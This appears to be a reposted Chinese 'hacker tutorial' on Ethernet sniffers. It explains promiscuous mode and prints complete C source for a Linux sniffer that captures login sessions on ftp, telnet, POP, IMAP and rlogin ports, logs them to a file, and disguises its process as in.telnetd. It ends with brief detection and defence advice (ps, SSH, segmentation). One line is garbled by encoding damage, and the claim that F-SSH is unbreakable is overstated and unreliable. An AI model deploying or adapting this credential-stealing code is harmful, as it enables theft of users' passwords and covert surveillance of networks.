Sniffer黑客教程

　　 
　　Sniffer是一種常用的收集有用數據方法，這些數據可以是用戶的帳號和密碼，可以是一些商用機密數據等等。為了對sniffer的工作原理有一個深入的了解，第二節給出了一個sniffer的源程序，并對它進行講解。最后的第三節是探測和防范sniffer的介紹。

第一節　Sniffer簡介

　什么是以太網sniffing?

　以太網sniffing 是指對以太網設備上傳送的數據包進行偵聽，發現感興趣的包。如果發現符合條件的包，就把它存到一個log文件中去。通常設置的這些條件是包含字"username"或"password"的包。

它的目的是將網絡層放到promiscuous模式，從而能干些事情。Promiscuous模式是指網絡上的所有設備都對總線上傳送的數據進行偵聽，并不僅僅是它們自己的數據。根據第二章中有關對以太網的工作原理的基本介紹，可以知道：一個設備要向某一目標發送數據時，它是對以太網進行廣播的。一個連到以太網總線上的設備在任何時間里都在接受數據。不過只是將屬于自己的數據傳給該計算機上的應用程序。

利用這一點，可以將一臺計算機的網絡連接設置為接受所有以太網總線上的數據，從而實現sniffer。

sniffer通常運行在路由器，或有路由器功能的主機上。這樣就能對大量的數據進行監控。sniffer屬第二層次的攻擊。通常是攻擊者已經進入了目標系統，然后使用sniffer這種攻擊手段，以便得到更多的信息。

sniffer除了能得到口令或用戶名外，還能得到更多的其他信息，比如一個其他重要的信息，在網上傳送的金融信息等等。sniffer幾乎能得到任何以太網上的傳送的數據包。

有許多運行與不同平臺上的sniffer程序。

Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack

上面的這些程序，可以從互連網上找到。

使用sniffer程序或編寫一個功能強大的sniffer程序需要一些網絡方面的知識。因為如果沒有恰當的設置這個程序，根本就不能從大量的數據中找出需要的信息。

通常sniffer程序只看一個數據包的前200-300個字節的數據，就能發現想口令和用戶名這樣的信息。

第二節　一個sniffer源程序

下面是一個Linux以太網sniffer的源程序?？梢愿鶕枰訌娺@個程序。

/* Linux sniffer.c 本程序已經在Red Hat 5.2上調試通過*/

#include < string.h>

#include < ctype.h>

#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>

#include < sys/time.h>

#include < sys/socket.h>

#include < sys/ioctl.h>

#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>

#include < netinet/ip.h>

#include < netinet/tcp.h>

#include < netinet/if_ether.h>

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

struct etherpacket

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

}ep;

struct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

struct iphdr *ip;

struct tcphdr *tcp;

int s;

FILE *fp;

#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"

int openintf(char *d)

{

int fd;

struct ifreq ifr;

int s;

fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

if(fd < 0)

{

perror("cant get SOCK_PACKET socket");

exit(0);

}

strcpy(ifr.ifr_name, d);

s=ioctl(fd, SIOCGIFFLAGS, &ifr);

if(s < 0)

{

close(fd);

perror("cant get flags");

exit(0);

}

ifr.ifr_flags |= IFF_PROMISC;

s=ioctl(fd, SIOCSIFFLAGS, &ifr);

if(s < 0) perror("can not set promiscuous mode");

return fd;

}

int read_tcp(int s)

{

int x;

while(1)

{

x=read(s, (struct etherpacket *)&ep, sizeof(ep));

if(x > 1)

{

if(filter()==0) continue;

x=x-54;

if(x < 1) continue;

return x;

}

}

}

int filter(void)

{

int p;

p=0;

if(ip->protocol != 6) return 0;

if(victim.active != 0)

if(victim.bytes_read > CAPTLEN)

{

fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

clear_victim();

return 0;

}

if(victim.active != 0)

if(time(NULL) > (victim.start_time + TIMEOUT))

{

fprintf(fp, "\n----- [Timed Out]\n");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(NULL);

print_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [RST]\n");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [FIN]\n");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "\n");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "\n");}

}

}

main(int argc, char **argv)

{

sprintf(argv[0],"%s","in.telnetd");

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL)

strcpy(blah, inet_ntoa(i));

else

strcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "Exiting...\n");

close(s);

fclose(fp);

exit(0);

}

下面對上面的程序作一個介紹。結構etherpacket定義了一個數據包。其中的ethhdr，iphdr，和tcphdr分別是三個結構，用來定義以太網幀，IP數據包頭和TCP數據包頭的格式。

它們在頭文件中的定義如下：

struct ethhdr

{

unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

unsigned char h_source[ETH_ALEN]; /* source ether addr */

unsigned short h_proto; /* packet type ID field */

};

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t ihl:4;

u_int8_t version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "Please fix < bytesex.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "Adjust your < bits/endian.h> defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述結構的具體含義可參見《TCP/IP協議簡介》一章中的相關內容。接下來，定義了一個結構變量victim。

隨后，看一下函數int openintf(char *d)，它的作用是打開一個網絡接口。在main中是將eth0作為參數來調用這個函數。在這個函數中，用到了下面的結構：

struct ifreq

{

#define IFHWADDRLEN 6

#define IFNAMSIZ 16

union

{

char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

} ifr_ifrn;

union

{

struct sockaddr ifru_addr;

struct sockaddr ifru_dstaddr;

struct sockaddr ifru_broadaddr;

struct sockaddr ifru_netmask;

struct sockaddr ifru_hwaddr;

short int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

struct ifmap ifru_map;

char ifru_slave[IFNAMSIZ]; /* Just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};

這個結構叫接口請求結構，用來調用在I/O輸入輸出時使用。所有的接口I/O輸出必須有一個參數，這個參數以ifr_name開頭，后面的參數根據使用不同的網絡接口而不同。

如果你要看看你的計算機有哪些網絡接口，使用命令ifconfig即可。一般你會看到兩個接口lo0和eth0。在ifreq結構中的各個域的含義與ifconfig的輸出是一一對應的。在這里，程序將eth0作為ifr_name來使用的。接著，該函數將這個網絡接口設置成promiscuous模式。請記住，sniffer是工作在這種模式下的。

再看一下函數read_tcp，它的作用是讀取TCP數據包，傳給filter處理。Filter函數是對上述讀取的數據包進行處理。

接下來的程序是將數據輸出到文件中去。

函數clearup是在程序退出等事件時，在文件中作個記錄，并關閉文件。否則，你剛才做的記錄都沒了。

第三節　怎樣在一個網絡上發現一個sniffer

簡單的一個回答是你發現不了。因為他們根本就沒有留下任何痕跡。

只有一個辦法是看看計算機上當前正在運行的所有程序。但這通常并不可靠，但你可以控制哪個程序可以在你的計算機上運行。

在Unix系統下使用下面的命令：

ps -aux

或：

ps -augx

這個命令列出當前的所有進程，啟動這些進程的用戶，它們占用CPU的時間，占用內存的多少等等。在Windows系統下，按下Ctrl+Alt+Del，看一下任務列表。不過，編程技巧高的Sniffer即使正在運行，也不會出現在這里的。另一個方法就是在系統中搜索，查找可懷疑的文件。但可能入侵者用的是他們自己寫的程序，所以都給發現sniffer造成相當的困難。

還有許多工具，能用來看看你的系統會不會在promiscuous模式。從而發現是否有一個sniffer正在運行。

怎樣防止被sniffer

要防止sniffer并不困難，有許多可以選用的方法。但關鍵是都要有開銷。所以問題在于你是否舍得開銷。

你最關心的可能是傳輸一些比較敏感的數據，如用戶ID或口令等等。有些數據是沒有經過處理的，一旦被sniffer，就能獲得這些信息。解決這些問題的辦法是加密。

加密

我們介紹以下SSH，它又叫Secure Shell。SSH是一個在應用程序中提供安全通信的協議。它是建立在客戶機/服務器模型上的。SSH服務器的分配的端口是22。連接是通過使用一種來自RSA的算法建立的。在授權完成后，接下來的通信數據是用IDEA技術來加密的。這通常是較強的 ，適合與任何非秘密和非經典的通訊。

SSH后來發展成為F-SSH，提供了高層次的，軍方級別的對通信過程的加密。它為通過TCP/IP網絡通信提供了通用的最強的加密。

如果某個站點使用F-SSH，用戶名和口令成為不是很重要的一點。目前，還沒有人突破過這種加密方法。即使是sniffer，收集到的信息將不再有價值。當然最關鍵的是怎樣使用它。

SSH和F-SSH都有商業或自由軟件版本存在。NT are available.

還有其他的方法嗎？

另一個比較容易接受的是使用安全拓撲結構。這聽上去很簡單，但實現是很花錢的。

玩過一種智力游戲嗎，它通常有一系列數字組成。游戲的目的是要安排好數字，用最少的步驟，把它們按遞減順序排好。當處理網絡拓撲時，就和玩這個游戲一樣。

下面是一些規則：

一個網絡段必須有足夠的理由才能信任另一網絡段。網絡段應該考慮你的數據之間的信任關系上來設計，而不是硬件需要。

這就建立了，讓我們來看看。第一點：一個網絡段是僅由能互相信任的計算機組成的。通常它們在同一個房間里，或在同一個辦公室里。比如你的財務信息，應該固定在建筑的一部分。

注意每臺機器是通過硬連接線接到Hub的。Hub再接到交換機上。由于網絡分段了，數據包只能在這個網段上別sniffer。其余的網段將不可能被sniffer。

所有的問題都歸結到信任上面。計算機為了和其他計算機進行通信，它就必須信任那臺計算機。作為系統管理員，你的工作是決定一個方法，使得計算機之間的信任關系很小。這樣，就建立了一種框架，你告訴你什么時候放置了一個sniffer，它放在那里了，是誰放的等等。

如果你的局域網要和INTERNET相連，僅僅使用防火墻是不夠的。入侵者已經能從一個防火墻后面掃描，并探測正在運行的服務。你要關心的是一旦入侵者進入系統，他能得到些什么。你必須考慮一條這樣的路徑，即信任關系有多長。舉個例子，假設你的WEB服務器對某一計算機A是信任的。那么有多少計算機是A信任的呢。又有多少計算機是受這些計算機信任的呢？用一句話，就是確定最小信任關系的那臺計算機。在信任關系中，這臺計算機之前的任何一臺計算機都可能對你的計算機進行攻擊，并成功。你的任務就是保證一旦出現的sniffer，它只對最小范圍有效。

Sniffer往往是攻擊者在侵入系統后使用的，用來收集有用的信息。因此，防止系統被突破是關鍵。系統安全管理員要定期的對所管理的網絡進行安全測試，防止安全隱患。同時要控制擁有相當權限的用戶的數量。請記住，許多攻擊往往來自網絡內部。

原文轉自：http://www.kjueaiud.com